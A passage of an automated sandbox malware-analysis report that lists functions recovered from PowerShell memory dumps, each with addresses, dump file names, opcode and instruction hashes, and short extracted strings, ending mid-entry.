Opcode Fuzzy Hash: 5930bd993ea5a8cb460fbd0e0e5324ac00e61eee46420737eb720b519596c167
Instruction Fuzzy Hash: 46E022B4908208EFC714CF90C884AADBBB8EB96310F60D0A9CC4023380C632AD52D750

Function 02BCBDC8 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f8bef529670d5522ef65750de0c274a35262d70db0f945e2ddc4fef0b67aca6
Instruction ID: 6ca98d1f6f6ad00fe2b7148479f8e1b4d86194f7bc71bc50344c5b25e0106817
Opcode Fuzzy Hash: 2f8bef529670d5522ef65750de0c274a35262d70db0f945e2ddc4fef0b67aca6
Instruction Fuzzy Hash: AAE09275808208EBC700DF94D88AAEDBFB8FB48315F2081ADDC4413341E7319D56DB50

Function 0806C8B8 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2216878613.0000000008060000.00000040.00000800.00020000.00000000.sdmp, Offset: 08060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8060000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa26eace0b276d5ab7ddffc85fa65f5676c4836af6598e67b703246c58420077
Instruction ID: fa461544df7914149f6ce87cdcbfc28a23e26a7b26199782d4ce50b1e4701e47
Opcode Fuzzy Hash: aa26eace0b276d5ab7ddffc85fa65f5676c4836af6598e67b703246c58420077
Instruction Fuzzy Hash: 7DF0F234D04208AFCB80DFA8C540A9CBBF5EF48211F10C0AA9819A3340D635AA61DB40

Function 02BCC650 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a8b1410bbdaa0dbebea72a438c08a7fe1071ab3c0569e86472677c8c501e1c9
Instruction ID: b173017b42c81425a1247a999870a87ecacdccd03b367834e899b24796cf6cb0
Opcode Fuzzy Hash: 0a8b1410bbdaa0dbebea72a438c08a7fe1071ab3c0569e86472677c8c501e1c9
Instruction Fuzzy Hash: D8F0AE35904208EFCB04EF98D941AACBBB5EB49310F2081AAAC1857351D7329A62EB80

Function 0806F170 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2216878613.0000000008060000.00000040.00000800.00020000.00000000.sdmp, Offset: 08060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8060000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b8fe856fd58e2b799c78b62564b5d61c50f7a5fab449d490a4e6b36773c75ca
Instruction ID: db4c44aaafacdfaf012a09b84f85b54acce948e2a7c191f95731c44edc780259
Opcode Fuzzy Hash: 4b8fe856fd58e2b799c78b62564b5d61c50f7a5fab449d490a4e6b36773c75ca
Instruction Fuzzy Hash: 7EE0E574E04208EFCB84DFA8D5446ACBBF5EB48311F10C5AA882897340EB319A52CF80

Function 072E6A99 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2213590170.00000000072E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_72e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 805911448692507ffa0a7555256d1948066861a7ae528e4afdb71a3d516f1b10
Instruction ID: 5f6ec5ea7f0f9dccadc792d4822a13cd0631e32bd1b03edb944520fb24d6cfa6
Opcode Fuzzy Hash: 805911448692507ffa0a7555256d1948066861a7ae528e4afdb71a3d516f1b10
Instruction Fuzzy Hash: ACE06D709141049BCB14DFA4D0856E9BF76EB95314F2486A9C80427302C7329D5BCB40

Function 02BC82D8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ed7e0abb22f8ea2a94517c2d3db7860b142646b5927aa622f7f7e2779a4aed9
Instruction ID: a62f955673db18b598ec7b97080ee9054d3ddb5e8939c19a232963026116817d
Opcode Fuzzy Hash: 9ed7e0abb22f8ea2a94517c2d3db7860b142646b5927aa622f7f7e2779a4aed9
Instruction Fuzzy Hash: 43E0C274E04208EFCB44DFA8D5446ACBBF4EB49204F2081AA885997340D7319E42CB40

Function 02BC78A8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ed7e0abb22f8ea2a94517c2d3db7860b142646b5927aa622f7f7e2779a4aed9
Instruction ID: 3c71e7bf15af94e1f6a9f0cd0efaab7c97ef05a4b5ba34119438f470771e2915
Opcode Fuzzy Hash: 9ed7e0abb22f8ea2a94517c2d3db7860b142646b5927aa622f7f7e2779a4aed9
Instruction Fuzzy Hash: 4BE07D74D04208EFCB44DFA9D5456ACFBF8EB48214F20C5E9985893341D735AA56DF41

Function 02BCBCA8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ed7e0abb22f8ea2a94517c2d3db7860b142646b5927aa622f7f7e2779a4aed9
Instruction ID: 44595c0b272bc8becfa8044e86836c532bc83cf0c7cc10bc2c660882eb61d2d8
Opcode Fuzzy Hash: 9ed7e0abb22f8ea2a94517c2d3db7860b142646b5927aa622f7f7e2779a4aed9
Instruction Fuzzy Hash: 1CE0E574E04208EFCB84EFA8D5456ADBBF4EB48204F20C5EA981893340DB319A52CF40

Function 02BC8CC8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ed7e0abb22f8ea2a94517c2d3db7860b142646b5927aa622f7f7e2779a4aed9
Instruction ID: 1473fd34d5569fb211e87c526946354ff43ce27391a28d1a15e0780052e320a6
Opcode Fuzzy Hash: 9ed7e0abb22f8ea2a94517c2d3db7860b142646b5927aa622f7f7e2779a4aed9
Instruction Fuzzy Hash: DDE0E574E05208EFCB44DFA9D5446ADBBF4FB49304F20C1EA881893340D7319A52CF40

Function 02BCACC0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77109db7cc62825bba6ac9e9021715fd7ba36cc2d818f9f8087e7e3d6febb5f6
Instruction ID: 5fe0ac8464e2da7eb8a2284aa99faa3b3de1db38679ffb3fd28862fb1494437c
Opcode Fuzzy Hash: 77109db7cc62825bba6ac9e9021715fd7ba36cc2d818f9f8087e7e3d6febb5f6
Instruction Fuzzy Hash: 34E0E574D08248AFCB84DFA9D9446ACBBF4FB49204F2080EA9858A3341E7359E51DF40

Function 0806EAB8 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2216878613.0000000008060000.00000040.00000800.00020000.00000000.sdmp, Offset: 08060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8060000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 442555c34fae03cf583ec42163d3d1e1598e4b8e643b85f5f2a11beab6419b15
Instruction ID: 0259a1e3f300697d703d1dac6e8372e5b4e46bbfefc3a25bcd8da14fcfbc06c7
Opcode Fuzzy Hash: 442555c34fae03cf583ec42163d3d1e1598e4b8e643b85f5f2a11beab6419b15
Instruction Fuzzy Hash: 90E0B674904248EFDB84EFA8D9856ACBBF9EB48215F2085A9980893741E731AE56CB41

Function 072E7E08 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2213590170.00000000072E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_72e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c883e5ab48d004fef8ee22ecd1f89b95106bfdf46c9bee2a71e8c630b31ddf4
Instruction ID: 16607a2b90383fba03bd2af31ed9dff930d63bffc15296536f6ffe8515df8dfd
Opcode Fuzzy Hash: 9c883e5ab48d004fef8ee22ecd1f89b95106bfdf46c9bee2a71e8c630b31ddf4
Instruction Fuzzy Hash: 1EE08674914248EBC704DF94D5449ADBBBCEB59310F14819DDC0817340D7319E52DB80

Function 02BCBDD8 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76eb7968512af9c68aecff3058523df18792774b8da3cc87b169ac88ef01e76b
Instruction ID: ce11ce9fb2865141db26ee249658ddc9d015f2b5e50cc58b3969cfa7dbb77958
Opcode Fuzzy Hash: 76eb7968512af9c68aecff3058523df18792774b8da3cc87b169ac88ef01e76b
Instruction Fuzzy Hash: 96E08C34908208EBCB04DF94D946AACBFB8EB49319F2081ADDC0463340DB329E92DB81

Function 072E6AA8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2213590170.00000000072E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_72e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 526f4f61f79522e09278a235c7bfabb09fcb3da31367107c3f2a2e6cf8535cc2
Instruction ID: a9b96e9df014a5373c99af8e177e7a7f0212882476b6e6dffc97a842460ffee3
Opcode Fuzzy Hash: 526f4f61f79522e09278a235c7bfabb09fcb3da31367107c3f2a2e6cf8535cc2
Instruction Fuzzy Hash: D4E0C274D18208DBC704EF94D5405ACBBBDEB85300F24C1ADCC0813341DB319E56CB80

Function 02BC7560 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3f8f1d362112a5b837b73def228d4a5d8adcfdf3e43f6e25a9264a15ed638b4
Instruction ID: dab21bf603130d5ee0a59dffc93c7bc588a9f67795f89318d3819b366f927b74
Opcode Fuzzy Hash: a3f8f1d362112a5b837b73def228d4a5d8adcfdf3e43f6e25a9264a15ed638b4
Instruction Fuzzy Hash: 39E0EC70D55248DFC744EFA8E54969CBBF8EB08201F2005E9C80893251EB305A54DB51

Non-executed Functions

Function 072E0D68 Relevance: 6.3, Strings: 4, Instructions: 1335COMMON

Download Yara Rule

Strings

t2$x^$, xrefs: 072E1396
`o$, xrefs: 072E0E8A
$q, xrefs: 072E13CA
2, xrefs: 072E1D46

Memory Dump Source

Source File: 0000000D.00000002.2213590170.00000000072E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_72e0000_powershell.jbxd

Similarity

API ID:
String ID: 2$`o$$t2$x^$$$q
API String ID: 0-1616347337
Opcode ID: c43e7db766a536ea6fdc82b731cce83d83991dca8da01cd2bb19e4db67f1129f
Instruction ID: 6d49060a40590d685f1f1e4176e97ec3f9459f3acb1b9c5e4ee44afa0b46dd1d
Opcode Fuzzy Hash: c43e7db766a536ea6fdc82b731cce83d83991dca8da01cd2bb19e4db67f1129f
Instruction Fuzzy Hash: 1AE2B1B4E106298FDB64DF68D88479ABBF6FB89301F5081E9D409AB354DB349E85CF40

Function 02BC91F8 Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

Teq, xrefs: 02BC9628
B, xrefs: 02BC92A7
F, xrefs: 02BC964C

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID: B$F$Teq
API String ID: 0-2187489633
Opcode ID: 192e784c8f6b17cca57f717dce01481a6c2b82357e5bddeadaea13627aacfeec
Instruction ID: 67158485ad58a3c0e14c6ae6d1b7346382d10e47db7c9b26034f4b12b0e5e5a7
Opcode Fuzzy Hash: 192e784c8f6b17cca57f717dce01481a6c2b82357e5bddeadaea13627aacfeec
Instruction Fuzzy Hash: 7231C9B1D016588BEB58CFABC8447DDFBF3AF89300F14D0AAD459AA658DB744A85CF40

Function 02BC9208 Relevance: 3.8, Strings: 3, Instructions: 84COMMON

Download Yara Rule

Strings

Teq, xrefs: 02BC9628
B, xrefs: 02BC92A7
F, xrefs: 02BC964C

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID: B$F$Teq
API String ID: 0-2187489633
Opcode ID: 2458e77f03734afdfb8db2ec3141287b0d16edf3bf6c8c0746b450e597319c51
Instruction ID: d8ebc8d6978b082a877d213f2b98ddcd7b464f6bab617e684112f98ee460d860
Opcode Fuzzy Hash: 2458e77f03734afdfb8db2ec3141287b0d16edf3bf6c8c0746b450e597319c51
Instruction Fuzzy Hash: 1D31C7B1D016588BEB18CFABC8447DDBBF7AF89300F14D0A9D459AA258DB744A858F40

Function 06BFBC48 Relevance: 2.7, Strings: 2, Instructions: 165COMMON

Download Yara Rule

Strings

4'q, xrefs: 06BFBCFF
4'q, xrefs: 06BFBD2A

Memory Dump Source

Source File: 0000000D.00000002.2210157777.0000000006BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6bf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q
API String ID: 0-1467158625
Opcode ID: 44f131abb7d94904fdeb0d880ec4f7597204e693febb81bea5c809b24d7eb9d3
Instruction ID: 3df435e57b77a74827b57ef3ad5fbfdb7e187fac27e6bac9876ccea6877db58c
Opcode Fuzzy Hash: 44f131abb7d94904fdeb0d880ec4f7597204e693febb81bea5c809b24d7eb9d3
Instruction Fuzzy Hash: 1271FC71D102498FD708DFAAE5417AEBBF3FB88301F14C569E0049B265EF74581A8B91

Function 08065840 Relevance: 2.6, Strings: 2, Instructions: 65COMMON

Download Yara Rule

Strings

=, xrefs: 080658C8
>, xrefs: 080692D0

Memory Dump Source

Source File: 0000000D.00000002.2216878613.0000000008060000.00000040.00000800.00020000.00000000.sdmp, Offset: 08060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8060000_powershell.jbxd

Similarity

API ID:
String ID: =$>
API String ID: 0-3816510428
Opcode ID: 993dc31f5a3046e8e9b14480302433318201be004a8cbbc59ec8740b5ddb0994
Instruction ID: 32b7b5bc60ed6fe5dd6e548bc5d1bc0dbdbb31f25d8b23394cf0e70b5b370cc6
Opcode Fuzzy Hash: 993dc31f5a3046e8e9b14480302433318201be004a8cbbc59ec8740b5ddb0994
Instruction Fuzzy Hash: D621B5B1E047588BEB18CFABCC0419EFBF7BFC9311F14C16A8419AB659EB7049568E00

Function 02BC0708 Relevance: 1.7, Strings: 1, Instructions: 431COMMON

Download Yara Rule

Strings

;PG3, xrefs: 02BC09B8

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID: ;PG3
API String ID: 0-1782200024
Opcode ID: 18c1166f52dba44c3ce4012dead85413603e148d63b8badecfdb72baee20af1a
Instruction ID: a7135bed197e77995ec8fb31b76b8ab5c4f40b29bd2853025a9b57876e514f3a
Opcode Fuzzy Hash: 18c1166f52dba44c3ce4012dead85413603e148d63b8badecfdb72baee20af1a
Instruction Fuzzy Hash: D712A371E046198FDB14DFAAC98069DFBF2BF88304F24C569D458AB219D734A946CF90

Function 0806D100 Relevance: 1.5, Strings: 1, Instructions: 244COMMON

Download Yara Rule

Strings

Teq, xrefs: 0806D293

Memory Dump Source

Source File: 0000000D.00000002.2216878613.0000000008060000.00000040.00000800.00020000.00000000.sdmp, Offset: 08060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8060000_powershell.jbxd

Similarity

API ID:
String ID: Teq
API String ID: 0-1098410595
Opcode ID: d3db6e96dcc49b3d91ad16b0e0637c24ff36b41313be066dd86ef98efa73596e
Instruction ID: 40ba91a6ca7a15d24686b1bc8059ea2b28d00cdf0d7c75f9c056c6e3a25f63b1
Opcode Fuzzy Hash: d3db6e96dcc49b3d91ad16b0e0637c24ff36b41313be066dd86ef98efa73596e
Instruction Fuzzy Hash: E8A13670E05219CFDB54CFAAD880B9DBBF2BF89311F208069E809AB255DB759D95CF40

Function 02BCB16C Relevance: 1.5, Strings: 1, Instructions: 207COMMON

Download Yara Rule

Strings

xy$, xrefs: 02BCAE6B, 02BCAE70, 02BCB1A3, 02BCB1A8

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID: xy$
API String ID: 0-2399629526
Opcode ID: b1f29b2c3e437305af38704f68d1a239b93580394fd4c6b66dfae97b29f68591
Instruction ID: c6e4f8f46ed312ddef816ef9cb66a540626909ebc017c942fae776401c597f7b
Opcode Fuzzy Hash: b1f29b2c3e437305af38704f68d1a239b93580394fd4c6b66dfae97b29f68591
Instruction Fuzzy Hash: 8BA1D274A0120DCFDB54CFA8D485BAEBBF1EB49705F2080AAE409E7690DB745E85CF91

Function 02BCAD00 Relevance: 1.5, Strings: 1, Instructions: 201COMMON

Download Yara Rule

Strings

xy$, xrefs: 02BCAE6B, 02BCAE70

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID: xy$
API String ID: 0-2399629526
Opcode ID: 9dd1d6ef70daa7a22444cec0829799a0f582c24e62ffc3dd82233fa56ae35f72
Instruction ID: 0a0c8044b73b6146e4a9edcaef32dd8f7957c358e54ca54bf02239b1e1b34e1d
Opcode Fuzzy Hash: 9dd1d6ef70daa7a22444cec0829799a0f582c24e62ffc3dd82233fa56ae35f72
Instruction Fuzzy Hash: 44911374A0520DCFDB14CFA8D485BEEBBF1EB49705F2080AAE409E7690DB745A85CF91

Function 02BCADFC Relevance: 1.4, Strings: 1, Instructions: 180COMMON

Download Yara Rule

Strings

xy$, xrefs: 02BCAE6B, 02BCAE70

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID: xy$
API String ID: 0-2399629526
Opcode ID: 7ae7da4cfb69d6145ae3ad251ed320243101f32246695e97ca5b73fb0c0e4be0
Instruction ID: d00dd12804f5273c32265754d2c3ab5493224aacf6a2552834efdd586a9a659b
Opcode Fuzzy Hash: 7ae7da4cfb69d6145ae3ad251ed320243101f32246695e97ca5b73fb0c0e4be0
Instruction Fuzzy Hash: 6681F474A0120DCFDB54CFA8D485BEEBBF1EB09715F2080AAE409E7690DB745A85CF91

Function 02BCAFD2 Relevance: 1.4, Strings: 1, Instructions: 173COMMON

Download Yara Rule

Strings

xy$, xrefs: 02BCAE6B, 02BCAE70

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID: xy$
API String ID: 0-2399629526
Opcode ID: 7702077819b742b1177b84e32f16abfe5fb3f0a4fb152906b766956952029803
Instruction ID: 067a538dedaae76ad7eb08563cf133bdece1e149ccb9b280386cbd1096772a0d
Opcode Fuzzy Hash: 7702077819b742b1177b84e32f16abfe5fb3f0a4fb152906b766956952029803
Instruction Fuzzy Hash: 4781F274A0520DCFDB54CFA8D485BEEBBF1EB09715F2080AAE409E7690DB745A84CF91

Function 02BCB244 Relevance: 1.4, Strings: 1, Instructions: 172COMMON

Download Yara Rule

Strings

xy$, xrefs: 02BCAE6B, 02BCAE70

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID: xy$
API String ID: 0-2399629526
Opcode ID: 09578c0b53eb599693acecc039195c40ba7f3da26be91a6225a9699635afe692
Instruction ID: 442abf268d0b715ef1a1585b3ff0f234ccaa72b9c52e3d1a339b68152a60f8ee
Opcode Fuzzy Hash: 09578c0b53eb599693acecc039195c40ba7f3da26be91a6225a9699635afe692
Instruction Fuzzy Hash: 98810374A0520DCFDB54CFA8D485BEEBBF1EB09715F2080AAE409E7690DB745A84CF91

Function 02BCAF10 Relevance: 1.4, Strings: 1, Instructions: 167COMMON

Download Yara Rule

Strings

xy$, xrefs: 02BCAE6B, 02BCAE70

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID: xy$
API String ID: 0-2399629526
Opcode ID: bf7087b96ffa4f6027e1ce768b95cee93f536af3d8c8b818f5d909695f016539
Instruction ID: 936f5ee604e3c97bf14422b2e02e5c91dc83807f97a21f0d9a608d1223517ea2
Opcode Fuzzy Hash: bf7087b96ffa4f6027e1ce768b95cee93f536af3d8c8b818f5d909695f016539
Instruction Fuzzy Hash: D971F474A0120DCFDB54CFA8D485BEEBBF1EB09715F2080AAE409E7690DB745A85CF91

Function 02BCADAC Relevance: 1.4, Strings: 1, Instructions: 167COMMON

Download Yara Rule

Strings

xy$, xrefs: 02BCAE6B, 02BCAE70

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID: xy$
API String ID: 0-2399629526
Opcode ID: 18ff307147f70f8fa0b026336eb5a52754fdc79d5a71b274f6081126210cd7bc
Instruction ID: f50873f86ce21ff56516c802b7f6909f213440142528afe54b8ab9fcf173c698
Opcode Fuzzy Hash: 18ff307147f70f8fa0b026336eb5a52754fdc79d5a71b274f6081126210cd7bc
Instruction Fuzzy Hash: 7671F474A0120DCFDB54CFA8D485BEEBBF1EB09715F2080AAE409E7690DB745A85CF91

Function 02BCADA6 Relevance: 1.4, Strings: 1, Instructions: 167COMMON

Download Yara Rule

Strings

xy$, xrefs: 02BCAE6B, 02BCAE70

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID: xy$
API String ID: 0-2399629526
Opcode ID: b359b4751d248ed7b365a27874a05cd709ab49fe2489f2a218b5cde650767158
Instruction ID: f50873f86ce21ff56516c802b7f6909f213440142528afe54b8ab9fcf173c698
Opcode Fuzzy Hash: b359b4751d248ed7b365a27874a05cd709ab49fe2489f2a218b5cde650767158
Instruction Fuzzy Hash: 7671F474A0120DCFDB54CFA8D485BEEBBF1EB09715F2080AAE409E7690DB745A85CF91

Function 02BCADF7 Relevance: 1.4, Strings: 1, Instructions: 167COMMON

Download Yara Rule

Strings

xy$, xrefs: 02BCAE6B, 02BCAE70

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID: xy$
API String ID: 0-2399629526
Opcode ID: d5f0373bae6620c0e23761984b45022fd8d0d2cfaba9611b0361d72bc512b475
Instruction ID: 03a298f87490df25641d4532a07fa501f1cbf7665596fd73918709a279f55e77
Opcode Fuzzy Hash: d5f0373bae6620c0e23761984b45022fd8d0d2cfaba9611b0361d72bc512b475
Instruction Fuzzy Hash: 3B71F474A0120DCFDB54CFA8D485BEEBBF1EB09715F2080AAE409E7690DB745A85CF91

Function 072E0D47 Relevance: 1.4, Strings: 1, Instructions: 145COMMON

Download Yara Rule

Strings

`o$, xrefs: 072E0E8A

Memory Dump Source

Source File: 0000000D.00000002.2213590170.00000000072E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_72e0000_powershell.jbxd

Similarity

API ID:
String ID: `o$
API String ID: 0-2401407490
Opcode ID: af744d8b4b748bfc590c3e62ffb3e8d040accc8cc53270edb933c9359b3538a0
Instruction ID: b3b7e78469f45b7e1005d26d1461be519af08c61c64b361db7a0ebbcfb263261
Opcode Fuzzy Hash: af744d8b4b748bfc590c3e62ffb3e8d040accc8cc53270edb933c9359b3538a0
Instruction Fuzzy Hash: BE510AB1E00A588BDB28CF6BCC4479AFBF7AFC9301F18C1A9D408AB255DB7059858F50

Function 02BCA898 Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

pqI, xrefs: 02BCA99A

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID: pqI
API String ID: 0-1078129942
Opcode ID: fe3a6538353003b3af801bcfb8478f7e27e1fb937c80ffa8727e231f024d3f3a
Instruction ID: fdbb8ba3f6b8ac64ed6cd79230cda6a00d7941807d99845522f480255a44bd26
Opcode Fuzzy Hash: fe3a6538353003b3af801bcfb8478f7e27e1fb937c80ffa8727e231f024d3f3a
Instruction Fuzzy Hash: 51414170E0960EDFDB44CFA9C5402AEB7F1AB48340F64D5A9D42AE7310E7789A42CF90

Function 02BCA892 Relevance: 1.4, Strings: 1, Instructions: 122COMMON

Download Yara Rule

Strings

pqI, xrefs: 02BCA99A

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID: pqI
API String ID: 0-1078129942
Opcode ID: 98a07795d74682a04ddb1d73967da231da7cfbf467aa046cde8e02adaa8c98cb
Instruction ID: 0808434c50fb5640a4415f31564073b550ad6e3d58998a19d52a1b2ef8a09064
Opcode Fuzzy Hash: 98a07795d74682a04ddb1d73967da231da7cfbf467aa046cde8e02adaa8c98cb
Instruction Fuzzy Hash: F8414471E4550EDFDB44CFA9C5401AEF7F1AB48240F64D9A9D42AE7310E7389A02CF90

Function 08065809 Relevance: 1.3, Strings: 1, Instructions: 73COMMON

Download Yara Rule

Strings

=, xrefs: 080658C8

Memory Dump Source

